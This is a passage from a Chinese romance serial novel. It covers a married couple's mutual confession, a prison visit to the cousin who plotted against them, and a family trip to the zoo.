他没想到这问题她倒是主动来问了,肖秉文意识到什么,体内某种情绪不受控制波动。不过他面色依旧如常,他紧盯着她的脸,不放过她任何表情,想再彻底确认一下,所以他反问道:“你问我喜不喜欢你?” “嗯,你喜欢我吗?” 确定了,她确实这样问了。 肖秉文笑起来,一抹弧度不受控制在嘴角扩散,眉梢上挑,简直要挑到发根处了。 笑容里渐渐多了几 分宠溺几分无奈,他用手背贴了贴她的脸,说道:“怎么会问这种问题?是我平时表现得太含蓄了吗?你没看出来?” 这个回答有些隐晦不够直白,让张婉如迷糊起来,不过她又敏锐捕捉到了某种信息,眸中渐渐升起几许光亮,她急忙道:“不是把我当成小戎妈妈的那种喜欢,也不是因为我占了你妻子身份,你对妻子身份的那种喜欢,是男欢女爱,男人对女人的那种喜欢。那种喜欢,你对我有吗?” 肖秉文沉默着,她的眼神太过强烈,强烈到有一瞬间他感觉到无措,好在他脸皮也够厚,对着她的目光说道:“怎么就没有了?送花送口红看电影,这不就是跟喜欢女孩子才会做的事情吗?” 这是很肯定的答案了,激越的心跳好似又加快了一些,原来肖秉文是喜欢她的,并不是因为她是小戎的妈妈。 情感得到回应,张婉如感觉身体在发胀,脸也胀得滚烫,可她目光还是移不开半点,依旧落在他脸上。 将内心的激动平复了一下,她又问:“你是从什么时候喜欢我的?所以将照片放在钱包里是因为喜欢我吗?” 肖秉文道:“那时候你才多大,我可没那么禽兽。至于什么时候开始喜欢的,我并不善于审视自己的情感,所以也说不清楚,不过我很肯定,我现在心里是有你的。” 够了够了,张婉如也觉得没必要计较得那么清楚,直到明白此时此刻他是喜欢她的就够了。她的情感得到了回应,她的需求得到了满足,这就够了。 “那你为什么都不告诉我?你从来没对我说过喜欢我。” “这种事哪能随便说啊?一个大老爷们儿,肉麻兮兮的。” “……” 张婉如也能理解,以肖秉文的性格,确实不会将喜欢这种事情挂在嘴边。 “你呢?你这小没良心的丫头心里有我吗?哪怕只有一点点,有吗?” 肖秉文问这话的时候面色严肃了几分,大概是想着之前这丫头对他的不在意和处处防备,还没等来她的回答,他眉心已微微蹙起,难受的。 张婉如握住他的手掌放在自己胸口,她正了正面色冲他说道:“我心里有你,不止一点点,有很多。” 听到这话,肖秉文面色瞬间舒展,张婉如这模样不像是表白,倒像是在郑重宣示。肖秉文感觉身体在发热,一股热浪席卷全身,连骨头缝都未能幸免。 可他在这个问题上和她一样谨慎,所以他又问道:“不是把我当做小戎爸爸那种喜欢,也不是因为我站在丈夫的角度那种喜欢,是女人对男人的那种喜欢。” 和方才她追问的一模一样的问题,原来他也会纠结这个吗?张婉如笑了,一脸肯定说道:“当然,我对你的喜欢是把你当男人的喜欢。” 舒展的眉梢不自觉上挑,爽意让他语气微微变调,还是想再确定一下,所以他问:“真的?” 张婉如点头,“真的。” 肖秉文这次没忍住笑起来,他道:“我喜欢听。” 张婉如了然,不知不觉中她和他竟这么默契了,所以她又说道:“我真的喜欢你肖秉文,真的。” 肖秉文笑容在脸上扩散,明显很满意,张婉如又道:“我喜欢你肖秉文,我真的喜欢你。” 话落肖秉文却一下堵住她的嘴,用唇堵的,轻轻在上面碾了几下阻止她说话,倒也没有更近一步,他松开,张婉如不明所以,“怎么了?” “剩下的以后再说,说多了我一时半会儿消化不完。” 张婉如噗嗤一声笑了,不单单是因为这话听上去挺可爱,还因为他说这话时那一本正经的模样。 张婉如点头,“行,留着以后说。” 互诉衷肠,两人的反应都很温情,没有激情四射来加深一下情感,就只默默看着彼此。或许是彼此的梦,让两人都格珍惜独处的时光。 就这般盯着彼此,也不说话,不知过了多久,张婉如问他:“你困了吗?” “没困,你困了?” “我也没困。” 两人说完相视一笑,张婉如想到什么问道:“你会难过吗?” “难过什么?” “幕后黑手是肖瑜,你和他感情很好。” “也说不上难过,我和肖瑜确实一起长大,确实有着兄弟情谊。可在得知他是幕后黑手那一刻,我就清醒意识到我和他的兄弟情谊止于此了。倒是你……”肖秉文看向她的目光深了几分,“凶手伏法,你也该安心了,往后不用再做噩梦,也不要再被阴影困扰。” 其实张婉如想说,她已经很久没有做关于那个仓库的噩梦了,曾经的阴影好似也随着时间流逝。 是从什么时候开始的呢,大概是在跟他结婚以后。身边有了个人,和她有同样遭遇的,和她一起面对,渐渐的,对过去的恐惧也没那么害怕了。 沉思片刻张婉如收回神,问道:“肖瑜他会怎么判?” “这个我不清楚,到时候还得看法官量刑。不过近几年严-打,杀人是重罪,而且他又是数罪并罚,大概率是死刑。” 张婉如点了点头,没说话了。 后来怎么睡着也忘了,只记得在临睡前两人还互相抱着,第二日张婉如醒来,肖秉文并未在身边。她起床出了门,听到厨房传来声响,走到门口一看,却见父子两正站在灶台前不知道在捣鼓什么。 小戎因为身高不够,还在灶前搭了个板凳。 “在做什么?”张婉如走上前问道。 肖秉文侧头看过来,嘴角弯着一抹笑,一双剑眉下,眼眸在看到她的那一刻明显生出几点光亮说道:“你儿子想给你做爱心煎蛋来着。” 这眼神好像跟平日里有些不一样,更热切一些,是因为昨日两人剖白了彼此的心意吗?好像也没什么吧,他们本来就是夫妻,也有夫妻之实,互相表白似乎也没什么,可又有细微处的差别,倒看得张婉如也不好意思起来。她急忙分散注意力向锅中煎蛋看了一眼,蛋煎得半熟,小戎拿着锅铲,肖秉文握着他的手,教他将煎蛋定型成爱心的形状。 看着还算成功。 油锅冒着热气,一家子其乐融融的氛围也是暖的。有时候张婉如也觉得眼前发生的一切都不太真实,明明还在那破旧的工厂宿舍里打转,怎么一转眼就来这里了?有明亮的房间,有可爱的孩子,有体贴的老公,有温暖的家。 自然也该做些回馈,所以张婉如蹲在小戎跟前,揉了揉他的脑袋夸奖道:“小戎真棒。”说完还捧着他的脸在他额头上印下一吻。 小戎有些不好意思,对着妈妈有些羞赧笑了笑来掩饰。 “咳。” 旁边有人轻咳一声,张婉如向肖秉文看去,对上他一张笑脸,用理所当然的语气说道:“这事儿我也出了力的啊,怎么也不夸我?” 这么大个人了,怎么还挣这些? 张婉如有些无奈,说道:“你也很棒。” “就这样?”他指了指自己的额头,“这儿没有?” 跟昨日面对她时那颓丧的模样不同,此刻他穿着衬衣和西裤,头发打理得一丝不苟,英俊帅气,精神头十足,那股意气风发的劲似乎又回来了。 一起回来的还有那股浑劲。 那眼底一点也不掩饰暧昧,当着儿子的面也犯浑。 可他不依不饶,目光直勾勾看着她,张婉如无奈,垫着脚在他额头亲了一口。亲完不好意思,下意识向小戎看了一眼,却见小戎也正看着他们,脸上挂着笑,看到父母亲密,内向的小朋友显得有几分不好意思,可笑容看上去却又是愉悦的。 肖秉文自然也看到了,他伸手拨弄了一下他的脸颊,说道:“你乐个什么劲?” 小戎低垂着头,又抿着唇笑,被爸爸逗弄了他越发不好意思。 以前妈妈没有在家,可他见过别的孩子的爸妈都是亲亲热热的,就比如陈珍宜,她的爸妈感情很好,所以陈珍宜过得很开心。 他很羡慕,别人都有爸爸妈妈都在身边。 而现在,妈妈回来了,他也和别的小朋友一样,有爸爸也有妈妈。 他很开心,妈妈亲自己的额头,他很开心,妈妈亲爸爸的额头,爸爸妈妈感情好了,他们才不会分开,而他才能一直拥有爸爸和妈妈都在的生活。 他喜欢和爸爸妈妈呆在一起,喜欢爸爸和妈妈亲密,这样会让他觉得很暖很暖,他喜欢这种感觉。 第65章 第65章老公 探监室里,巨大的玻璃隔绝开里外两人。玻璃窗前的一男一女彼此静静注 视了对方许久才拿起电话听筒。肖瑜跟入狱前比起来变了很多,平日里吊儿郎当的,此刻头发剪成了寸头,看上倒正经了几分。 肖瑜先开口,他冲对面的梁文凤笑了笑说道:“我没想到我入狱后第一个来看我的人是你。” 梁文凤一脸复杂,当初肖瑜被警方带走时,她第一时间就知道了。她第一反应是不敢置信,肖瑜怎么可能杀人?后来想去探视,但一直没申请到,尝试了好几次才申请到了探视权。 梁文凤沉默良久才问出自己的疑惑,“你真的杀人了?” 不管是记忆中的肖瑜还是眼前的肖瑜,她都无法将他跟杀人犯联系起来。 肖瑜点了点头,“嗯,我杀人了。” 承认杀人就像承认他吃过饭那么干脆。梁文凤简直不敢相信,“为什么?听说你还绑架过秉文?你从小和秉文一起长大,关系那么好?你为什么会绑架他?” 这才是她最不敢相信的,她从小就和肖秉文肖瑜认识,知道他们哥俩的感情,肖瑜绑架肖秉文怎么可能,她有时候甚至都怀疑是不是警方搞错了。 肖瑜沉默片刻,并没有直接回答,而是问了她一个问题,“你喜欢张婉如吗?” 梁文凤不明所以,他为什么突然问她这个,不过她如实说道:“说不上喜欢。” “还很讨厌她对吧?”肖瑜说完补充道:“说实话。” “嗯,很讨厌她。” “那你有没有想过要毁了她?或者有没有期待过,她被人毁掉?”肖瑜又强调了一句,“我想听你的实话。” 梁文凤仔细想了想,随后回道:“我虽然讨厌张婉如,但我并没有想过要毁掉张婉如,也没期待过她被人毁掉。但如果张婉如遇到倒霉事,我想我应该会控制不住幸灾乐祸。不过这跟你绑架肖秉文有什么联系?” “你比我善良。” “……” 肖瑜又道:“你觉得我跟肖秉文关系好,但那只是表面,其实我嫉妒他,讨厌他。我不像你,你讨厌张婉如却没想过毁掉她,但我讨厌肖秉文,所以我想毁掉他。” 梁文凤被他这些话给惊到了,“你讨厌肖秉文?” “对,我讨厌他。” 梁文凤怎么都不敢相信,肖瑜和肖秉文好得能穿同一条裤子,可是肖瑜的表情不像说谎,他确实讨厌肖秉文。 “为什么啊,到底为什么?” “我不是说了嘛,我嫉妒他。他从小优秀,长辈口中总是对他夸赞。我就不一样了,我从小到大就是个反面教材,不学无术,是肖家一等一的废人。时间长了,心里就积累了太多怨恨,直到有一天突然爆发了。” 梁文凤久久不能言语,她依旧想不明白,就因为此他就要绑架肖秉文?最后还做出杀人这种事? 事情为什么会变成这样,肖瑜怎么就突然成了杀人犯,这些问题她想了很久也想不通,即便今日听到肖瑜这些话她还是想不通。 “我知道你现在肯定想不明白,像我这样的人怎么会做出绑架肖秉文,甚至做出杀人这种事情?我从小胆小如鼠,不像肖秉文一样敢闯敢冒险,只能浑浑噩噩做一些鸡毛蒜皮的事。然而我这样的人却成了绑架犯杀人犯。肖瑜的胆子竟然这么大,跟你认识的肖瑜完全不一样对吧?其实我还有很多很多面是你从未看到过的,不过以后大概也没机会再看到了。” “你……”梁文凤内心复杂,犹豫了片刻,还是问出了最想问的,“你会死吗?” “杀人偿命,判死刑不是应该的吗?” 他语气轻飘飘的,就好像在跟她谈论吃什么那样简单。梁文凤却感觉到鼻腔堵上一股酸涩,眼泪也不自觉从眼眶中滚落。 “你这是干什么?哭了?” 梁文凤随手揩了下泪,说道:“没有。” 肖瑜却笑了,沉默了一会儿,却又听到听筒里的肖瑜调侃一句,“还好当初你没答应我。” “什么?” “我问你要不要跟我凑合一下,你拒绝了。真是万幸啊,当时你要是答应我了,你就得守寡了。” 梁文凤有些无语向他看去,都这个时候了他干嘛说这个,对上的却是他没心没肺的笑容。不知道为什么越发感觉难过,她故作不经意抹了抹眼泪。 肖瑜见状,脸上调侃的笑意收敛,他正要说些什么,就听到狱警在提醒他时间到了。肖瑜站起身,抓紧时间冲她说道:“你别哭了梁文凤,我本来已经做好心理准备认罪伏法,接受自己的命运,可看到你哭,我说不定就舍不得死了。” 梁文凤怔住,却见有狱警上前,肖瑜在挂断电话前似想起了一件事,又冲她道:“最后麻烦你一件事。”不等她回答,他急促说道:“我老宅房间的床下有个箱子,你帮我把它拿给秉文。” 说完便匆匆挂断电话,梁文凤就这般保持着手拿听筒的姿势望着他被带走,也不知道过了多久才回过神来,将听筒放回,有些颓丧站起身走了出去。 外面天气挺不错,已经入秋了天气依旧火热,照在人身上暖洋洋的。不知道肖瑜的命运如何,但梁文凤很清楚,这是她和他最后一次见面了。 ** 梁文凤探监回去之后没忘记肖瑜交待她的话,她抽了个时间去肖瑜房间照出那个盒子,随后直接将电话打到了肖秉文工厂办公室里,工厂的事情解决得差不多了,肖秉文没那么忙,最近基本都在办公室,所以电话打过来时他正好接到。 电话那头梁文凤简单说了一下事情经过,“到时候我会在肖家等你,如果你不来的话我就重新把这箱子放回去。” 挂断电话之后肖秉文面色凝重沉思了许久。 这天下午张婉如要回老宅去拿些设计草稿,当初搬家时留在老宅没带走,本以为都是草稿用不到了,最近想找出来看看能不能激发出灵感。 拿完稿子往回走,肖秉文这小院离后院的院墙很近。肖家二老喜欢花,后院里也种了许多花,这个季节池塘里的荷华已经谢了,一朵朵硕大的莲蓬也已枯萎。不过池塘附近一丛丛菊花却开得热闹。 墙根处种了一株柿子树,饱满的果实垂在枝头,有些已经成熟,有些还泛着青。张婉如看到那柿子树下站了两人,她一眼就认了出来,是肖秉文和梁文凤。 这两人为什么会出现在这里? 张婉如突然想到那次,她在肖秉文办公室的小隔间里,梁文凤和肖秉文一起进来,随后梁文凤就向肖秉文求婚。 想到此处张婉如感觉心紧了紧。 梁文凤拿了个盒子递给肖秉文,虽离得远,可张婉如也能看出肖秉文此刻的面色不太好。两人在说话,她听不清两人说了什么,这反而让她心底更不安。 此刻站在柿子树下的肖秉文接过梁文凤递过来的箱子。这个地方靠近院墙,还种了株柿子树,正好方便爬墙。小时候肖秉文和肖瑜经常来这里,那时候社会不太平,家里管得严,可小孩子生性爱玩,哪里关得住。他和肖瑜又是家里最皮的,经常顺着这儿爬出去,不远处有家卖驴肉火烧的,两人经常翻 院墙出去买驴肉火烧吃。 肖家这么大,在哪里都可以和梁文凤碰面,可莫名的就选在了这里。 肖秉文接过箱子打开,里面没什么值钱的东西,都是一些小物件。一枚徽章,一双手套,还有一个刻着字的桃核。 那徽章是他参军时获得的,当时挺得意跟肖瑜炫耀,被肖瑜抢了去。这双手套好像是肖瑜生日的时候他送的,后来一直没见他戴过,还以为他搞丢了。桃核也是他送的,有段时期他挺喜欢雕刻,随便捡了个桃核刻了个“瑜”字,也是在练手,刻得并不好,刻完就送给了肖瑜,那时候肖瑜接过时还撇撇嘴,吐槽他,竟送给他些没用的,字还刻得那么丑。没想到这没用的玩意儿他倒一直珍藏得很好。 “这些都是你给肖瑜的东西吗?”旁边梁文凤问道。 “嗯。”肖秉文随口应了一声。 梁文凤脸色也挺复杂,“他还一直保存着。” 肖秉文没说话,梁文凤又道:“前几天我去探望了一下肖瑜,我很好奇,肖瑜为什么会做出这些事,为什么会绑架你,为什么会杀人。你知道他是怎么回答的吗?” 肖秉文依旧不言,梁文凤见他眉头拧得更紧,猜着他大概也是想知道的,她接着道:“肖瑜说他讨厌你。”她说完目光复杂看了这小箱子一眼,“可是很奇怪,那么讨厌你,想毁掉你的人却又把你给他的东西保存得这么好。” 是啊,确实挺矛盾。 肖瑜讨厌他吗,恨他吗?答案是肯定的,不然也不会对他做出这些事。可两人从小一起长大,曾有过的情谊都是假的吗?好像也不是。 不过,都不重要了,在知道肖瑜是幕后黑手的那一刻,所有的兄弟情也烟消云散了。肖瑜让梁文凤将这东西给他,大概也是要他亲手处理掉这份情谊。 肖秉文将箱子里的东西倒在地上,那箱子也被他拆了,他摸出打火机点燃。毫不留恋将东西全扒拉进火堆里。 梁文凤看得一脸诧异,想问什么,可想着肖瑜既然都将东西交给肖秉文了,自然是将处理权交给他。 反正东西已经带到,梁文凤也没留在这儿的必要,她轻轻叹了口气,转身离开。 不远处的张婉如看着这一幕,觉得有些奇怪,看着梁文凤离开,她想了想,跟着追了上去。 肖秉文这人耳力和观察力都极好,虽然东西燃烧的声音噼啪作响,却也没忽略不远处的动静,他早感觉到有个人在那边。此刻看到那人顺着走廊走过去,路过一处没被树叶和花草遮挡的开闭处,他看清了这人,是张婉如。 肖秉文觉得奇怪,张婉如为什么会在这里。不过他倒也没着急,直到看着火堆燃烧殆尽,这才又顺着张婉如离开的方向追过去。 这边距离肖家老宅后门近,梁文凤从后门出去,外面是一条僻静的巷子,刚踏出门就听到身后有一道清脆的声音。 “梁文凤。” 梁文凤回头,见到来人挺诧异,“张婉如?”随即想到什么,她了然,“你跟肖秉文一起来的?怎么方才没看到你?” 张婉如却没对她解释,她直接问他:“你找肖秉文做什么?” 问这话时的表情倒还是平静的,这语气却淡得很。想起上次她去张婉如店里买衣服,当时她对她还挺客气,如今跟她说话的语气可跟当时的客气完全不一样。 梁文凤说道:“我找他做什么,他没告诉你吗?” 这反问带着几分挑衅,张婉如也没生气,像闲聊一般说了一句:“不会又要向他求婚吧?” 梁文凤表情冷了些,不过这事儿本来她也做过,也没什么不好承认的。她道:“当时你们离婚的消息据说是肖秉文放出来的,我以为你们真离婚了。肖秉文是离婚状态,我也是单身,我追求他没什么吧?” “当然没什么,不过你现在知道了,我们还没离婚。” 这是在暗讽她,明知他们没离婚还去找肖秉文?梁文凤下意识想解释,她的自尊可不允许别人将她当成破坏人家庭的人。 可骤然想到什么,她看向张婉如的目光多了几分兴味,有心要逗一下她,她道:“我还记得你对我说过,你跟肖秉文在一起是为了小戎。你还说你不会阻止我和肖秉文相亲,如果我和他真成了,你会主动退出。” 肖秉文走到后门口时正好听到这话,他脚步骤然顿住,一时竟没上前,身体往后门边走去,将身影遮住。 他着实好奇,这丫头会怎么回答。 张婉如道:“那些话是在婚前说的,现在我和他已经结婚了。” “结婚了啊?”梁文凤故意拉长了语气,说道:“结婚了确实不一样。”说到此处话锋一转接着道:“可是我记得那天你看到肖秉文和一个女人在一起,你毫不在意转身就走了。你都不在意一个醉酒的女人跟肖秉文靠那么近,为什么又要在意我找肖秉文做什么呢?” 梁文凤神色间满是嘲讽。藏在门后墙根下的肖秉文面色也暗了暗,一方面张婉如被梁文凤嘲讽,作为自己人,他护短的心思让他不太舒服,另一方面他又很想知道张婉如会怎么回答。 毕竟他很清楚,这丫头曾经压根没将他放眼里。即便两人有过亲密关系,即便那日她对他亲口说出喜欢他,虽然大老爷们儿不该感情用事,但她曾对他的态度还有那曾经的噩梦,噩梦中她面对将死的他也视而不见,还是会让他时不时会患得患失。 肖秉文仔细听着外面的动静,张婉如在沉默片刻之后冲梁文凤说道:“我那日转身离开你怎么就确定是我不在意呢?” “在意的人,会是你那样的表现吗?” “人都是不一样的,在意的表现自然也是不一样的。肖秉文是我的丈夫,是我的男人,我怎么会不在意他呢?” 一抹夕阳从后院处慢慢爬进来,从肖秉文的耳根扫到了脸上,带来一股暖融融的痒,阳光也不强烈上,可他觉得好像照进了他心里,心里也在发痒。微垂头,那抹光落进眼底,眼底生亮,嘴角微勾的弧度,让眼底的亮色又更浓了些。 我的丈夫,我的男人。 这话倒是也没少对他说,但大概率是出于夫妻情趣,他懂。原来对着别人她也这样说,毫不犹豫宣誓主权,满满的占有欲。 张婉如又道:“倒是你,你明知我跟他没离婚还找他,你怎么想的?” 梁文凤觉得无趣,也懒得再逗她,她道:“你别想太多了,我还不至于对有妇之夫感兴趣,我找他是因为受肖瑜所托将某个东西带给他,东西送到他手上我就走了,你要不信,可以直接去问他,肖秉文不至于跟你撒谎吧?” 张婉如想到方才梁文凤确实给了肖秉文一个箱子,既然都让她问肖秉文,倒也没必要拿这个骗她。 张婉如稍稍松了一口气,说道:“原来如此,是我误会你了,抱歉。” 梁文凤诧异看了她一眼,这道歉来得还挺干脆。想着方才张婉如那步步紧逼的话,倒没想到知道误会了就立马道歉,还挺讲道理? 既然说清了,梁文凤便冲她道:“要是没别的事我就先走了。” “耽误你了。” 语气又恢复了客气。 说白了,其实她俩之间也没太大的敌对关系,唯一尴尬的就是有个肖秉文,不过既然肖秉文都结婚了那也没什么好想的,以后遇到了能客气打声招呼,做点头之交便好了,也没必要弄得太尴尬,梁文凤转身离开。 太阳西沉,阳光也从肖秉文身上略过。他这才从墙根走出来,轻咳一声提醒。 巷子寂静,骤然的咳嗽声将张婉如吓了一跳,一回头才看到肖秉文站在身后。 张婉如道:“你什么时候过来的?” “刚到。” 嘴角和眼角的笑意还有眼底那抹亮色还未散,他看上去心情很 不错的样子。 虽说梁文凤已将话说清楚了,可张婉如看到这个男人,心头还是窝了一股火气,她道:“你怎么回老宅来了?都没听你说过。” “肖瑜托梁文凤带了个东西给我,本来也不是什么大事,处理完了回去也不晚,就没说。那你呢?回老宅做什么,不也没跟我说吗?” 张婉如冲他晃了晃手中的稿子说道:“之前搬家时遗留了些废稿在这儿,本来以为没用的,不过最近想翻看一下找找灵感。当然也不是什么大事,就没跟你说。” 这话听着没啥问题,可故意重复他那句“也不是什么大事”,给人的感觉就像在故意怼人一样,再加上她此刻表情淡淡,肖秉文感觉到这丫头在生气。可他一点都没有把人惹生气的自觉,反而还觉得挺可爱。 埋迈着长腿慢条斯理走到她跟前,和她挺近的距离,这样还觉得不够近,又微微躬身脸对着她的脸。眉梢微挑着,脸上挂着一抹笑,盯着她这张脸认真看了好几秒,看得张婉如皱了皱眉,沉声问了一句:“干嘛?” 他这才慢条斯理说道:“怎么感觉你在生气?” “我生什么气?” “不知道啊,所以才问。” 张婉如看着近在咫尺的脸,他脸上那抹笑,给他整个人更添了些浑劲。张婉如意识到这男人在逗她,既如此那她也逗逗他。 “你看上去心情挺不错?”张婉如问道。 “还行。” “怎么?是因为跟梁文凤见面?” 肖秉文脸上的笑意以肉眼可见的速度收敛,那嘴角的弧度倒还勾着,只是眼底的亮色变成了一抹冷,说话倒还是慢条斯理的,“为什么这么说?” “你不是才跟她见过面吗?就一副捡了金子的表情,我只能这样猜。” “你可真会猜啊。” “这是在夸奖我了?” “……” 真来气。 这丫头是知道怎么气人的。方才还对人说他是她老公是他男人呢,一转头就给她男人气受。 “那你怎么不猜猜,我是因为看到你在这里才开心的啊?” “是这样的啊。”张婉如做出恍然大悟的表情,“看来我猜错了?” “呵。” 他从鼻端溢出一声冷笑,张婉如成功将人惹生气,自己心情反而好多了。她笑了笑,此刻他正微躬着身体对着她,她正好方便,手一抬勾上他的脖子。 “原来你是因为看到我才心情好啊,看来是我误会你了,抱歉啊。” 柔软的手臂勾上他的肩,一声抱歉也说得软,她一示软肖秉文自然也没辙了,不过他这人挺贪心。 就还故意板着个脸冲她道:“那你说两句好听的给我听听。” 两个人也有默契了,张婉如也知道他想听她的热情话,什么你是我男人,什么你是我的这种。 不过张婉如想来一点不一样的。 所以她勾紧了他的脖子,又软了些声音冲他道:“你别生气了嘛。”轻轻趴在他耳边唤他:“老公。” 肖秉文正等着吃一点甜头,不过他意料中的甜头没吃到,反而听到了这一句。 “老公。” 这还是张婉如第一次这么叫他呢。 这软软的声音魅惑般钻进他的耳朵中,身体僵硬了好一会儿才回过神,却觉得不够回味,他又道:“你方才叫我什么?” “老,公。” 张婉如一字一句叫给他听。 酥得他骨头都软了。 耳根子突然有点烫,也不知道是不是那破夕阳给晒的。一抹笑意没忍住在脸上扩散,他觉得这会儿的自己看上去不太像个男人,像个被调戏的小白脸。 怕张婉如发现自己的窘态丢人,他干脆一把将她搂在怀中抱着,抱紧,平复着血液的沸腾和僵硬的身体。 嘴上还挺淡定自若说了一句:“别说这称呼还挺好听。” “那以后我多叫叫。” 眼底的笑意快藏不住了,可语气还是淡定的,干脆洒脱应道:“那行。” 第66章(正文完) 第66章 第66章搂着全世界入…… 肖瑜被抓之后,媒体刊登了一则新闻报道了这件事。肖瑜不仅交待了杀害周福的作案经过,还另外交待了两起案件,一起是当年对肖秉文的绑架案,还有一起是和盛味业的毒酱油事件。他利用和肖秉文是堂兄弟的便利,偷偷在和盛味业的原材料里动了手脚,这才导致和盛味业生产出毒酱油。 原本和盛味业毒酱油事件出来,众人将矛头指向肖秉文,都在谴责他这种资本家为了多赚钱,用植物蛋白增加酱油的鲜味。 如今肖瑜主动坦诚和盛味业的原材料是他动的手脚,再加上他承认多年前曾绑架过肖秉文,公众这才恍然大悟,将这一切归结为肖家孙辈为了挣财产搞出来的小动作。 而肖秉文的骂名这才得以洗清。 自从毒酱油事件出来之后,肖秉文的态度一直都很诚恳,将“毒酱油”召回销毁,对受害者积极赔偿安抚,加强公司管理,还主动向公众认错。 肖瑜被抓之后,肖秉文被正名,公众对他的态度自然也扭转了一些。和盛味业的酱油重新上架,虽然还是有些不买账,和盛味业的销量也没有往日那么好,不过假以时日,和盛味业做出更有品质的东西,迟早会取得公众信任。 这次事件过后,肖秉文也得到了难得的喘息,虽然紧绷的情绪一时半会儿是松不下来了,可好在他不用在时刻绷紧神经,也有时间休息,可以正常回家了。 这一点让张婉如和小戎都挺开心。 肖秉文工厂的事情算是暂时解决了,这段时间他也用不着再那么忙碌,工厂里没什么事他便直接回家,先去接了张婉如,再和张婉如一起接小戎。 天气还不错,漂亮的夕阳落进车窗,两人依偎在后座上,也没说话,就静静等着小戎放学,任由暖烘烘的夕阳落在自己身上。 这段时间两人总这样,一有时间就静静抱着,也不做什么,就抱着,彼此都格外珍惜独处的时间。 小戎放学出来,看到爸爸妈妈一起来接挺开心。吃饭时便忍不住问了一句:“爸爸以后也会每天来接我了吗?” “当然。”肖秉文伸手过去揉了揉崽子的头,“开心吗?” “嗯。”小戎目光亮晶晶的,又有些担忧道:“爸爸的事情忙完了吗?” “嗯,忙完了。” 小戎的笑真切了些,终于提出了自己一直藏在心里的想法,“那我们什么时候去动物园?” 之前答应过带他去动物园的,但因为肖秉文厂子里出事,这事就一直搁置了。确实该履行承诺了。 “那就这周?” “真的吗?”小戎是肉眼可见的开心。 “当然。” 这天放学,小戎早早就收拾好了书包,明天就是周末了,爸爸妈妈答应要带他去动物园。 在离开前,好友白子浩找上他,问道:“肖哥,明天一起去吃肯德基去不去?” “不去。”肖楚戎干脆利落拒绝。 “为什么?”白子浩不解,“周末又不上学,你又没什么事。” “我要去动物园。”小戎说完,看向白子浩,特别强调了一句,“我爸爸和妈妈一起带我去。” “啊?你爸爸妈妈一起带你去?他们和好啦?” “他们就没分开过,他们好好的在一起。”小戎语气格外肯定。 “……”白子浩有点懵,“那我怎么听说……” “都不是真的!”小戎又强调,“他们一直在一起。” 白子浩倒也没纠结,他毕竟是个小孩,没心思去在意大人的事情,不过肖哥提到动物园他倒是挺有兴趣的,他道:“你们去哪个动物园啊?到时候我让我爸爸也带我去,说不准我们还能碰上呢。” 肖楚戎倒也没瞒着,说道:“中心动物园。” 周六这一天,夫妻两早早就起来带着小戎去了动物园。却没想到在动物园门口碰到熟人。是白军父子。 白子浩看到肖楚戎挺兴奋,哒哒哒跑过来说道:“肖哥,你们终于来了,我跟我爸等好一会儿了。” 走到跟前才意识到自己还没跟长辈打招呼,白子浩又正了正面色招呼道:“肖叔叔好,张阿姨好。” “你好。”张婉如笑着应了一句,“你两是约好了一起的吗?” “嗯。”白子浩依旧兴奋应了一句。 张婉如看向小戎,问道:“那你怎么都没跟妈妈说一声你还跟白子浩同学约了?” “没来得及说。”小戎回答,其实他以为白子浩就随便应的一句,也没太放在心上,毕竟白子浩这家伙有时候说话不太靠谱。 白军也走上前,笑吟吟招呼道:“肖先生,小戎妈妈。” 肖秉文看到白军,内心多了几分警惕,他和张婉如带着孩子来动物园,他也跟着带孩子来动物园,怎么这么巧?而且听听他的称呼,叫他叫肖先生,叫张婉如叫小戎妈? 不过肖秉文面上却没显,对着白军伸过来的手握了握,回了一声:“真巧。” “也不巧,是俩孩子约好的。” 肖秉文摸了摸小戎的头,“也是,俩孩子是朋友嘛。” 爸爸时不时会摸摸他的头,小戎也习惯了,可不知道为什么,他觉得这次爸爸摸他头的力道重了一些,不过小戎也没多想,爸爸妈妈一起带他来动物园玩,他真的很开心,而且还加一个白子浩。 白军似乎没发觉肖秉文那“朋友”两个字加了些力道,他道:“说起朋友,我倒还要等一个朋友,肖先生,小戎妈,你们是一起等还是先进去?” 肖秉文想着,你等朋友和他们夫妻有什么关系,为什么要一起等,不想白军又说了一句:“这人二位也认识的。” 这倒让夫妻两疑惑起来,白军有什么朋友是他们也认识的,正疑惑间,只听得白军道:“瞧,来了。” 却见一辆公交车慢悠悠停下,从车上下来一对母女,白军冲二人招招手,母女俩便快步走过来。 张婉如很快认了出来,这母女正是林友莉和林天雅。 肖秉文不由诧异,林天雅母女怎么也来了?再联想到方才白军说是朋友,肖秉文不由想到张婉如曾对他说过白军在追求林天雅,当时他还觉得白军醉翁之意不在酒。 林天雅上前,笑着招呼道:“抱歉来晚了。” 张婉如倒没意外,她目光意味深长看了一眼林天雅又看了一眼白军,说道:“人来齐了吧?没别的朋友了吧?” 林友莉听出她语气调侃,撩了撩头发缓解缓解不自在,白军倒是淡定表示,“没别的朋友,走吧,小朋友们都等不及了。” 肖楚戎小朋友和林天雅小朋友对这次的动物园之旅都充满了期待,本来白子浩小朋友也充满期待的,不过看着林天雅母女之后他那期待就淡了几分,在一同进门时还不咸不淡嘟囔了一句,“怎么哪里都有她们?” 白军挺有绅士风度,动作自然接过林友莉的包背在身上,倒让林友莉有些不好意思。这动作自然落进肖秉文眼里,他这才了然,原来如此。看样子上次张婉如告诉他白军在接近林友莉并不是为了让他安心才故意这么说的。 这倒让他松了一口气,方才看到白军出现时,他就觉得不是巧合,甚至已经考虑了许多。要是白军故意为之,要跟他抢人,他要怎么应对。 白军确实是一个强劲的对手,不过也不是没有办法对付。张婉如他会牢牢看着,不会让他靠近一点。目前工厂已经恢复生产,假以时日和盛必然重新走上巅峰,到时候他直接将金太阳收购,白军何去何从自然就由他说了算。 以此彻底绝了他的底气。 不过如今看来是他想太多了。 张婉如并不知道肖秉文复杂的想法,上次她就跟肖秉文说过白军追求林友莉的事,她以为他已经自动解除误会了。 哪里知道这男人已经暗自脑补了一大堆? 在动物园逛了一会儿,孩子们也累了,大人们便趁机休息一下,拍拍照。几个大人在那边拍照,肖楚戎小朋友和白子浩小朋友还有林天雅小朋友一人握着一根冰淇淋在旁边一边吃一边等。 小女孩天生爱美,看到拍照也有兴趣,林天雅想将小伙伴叫过去一起拍照,不过肖楚戎和白子浩都没什么兴趣,见叫不动他们就不管了,哒哒哒跑过去跟妈妈站在一起拍了几张。 白子浩对着林天雅跑开的身影嗤笑一声,说道:“跟屁虫一样,我们走哪儿她走哪儿。” 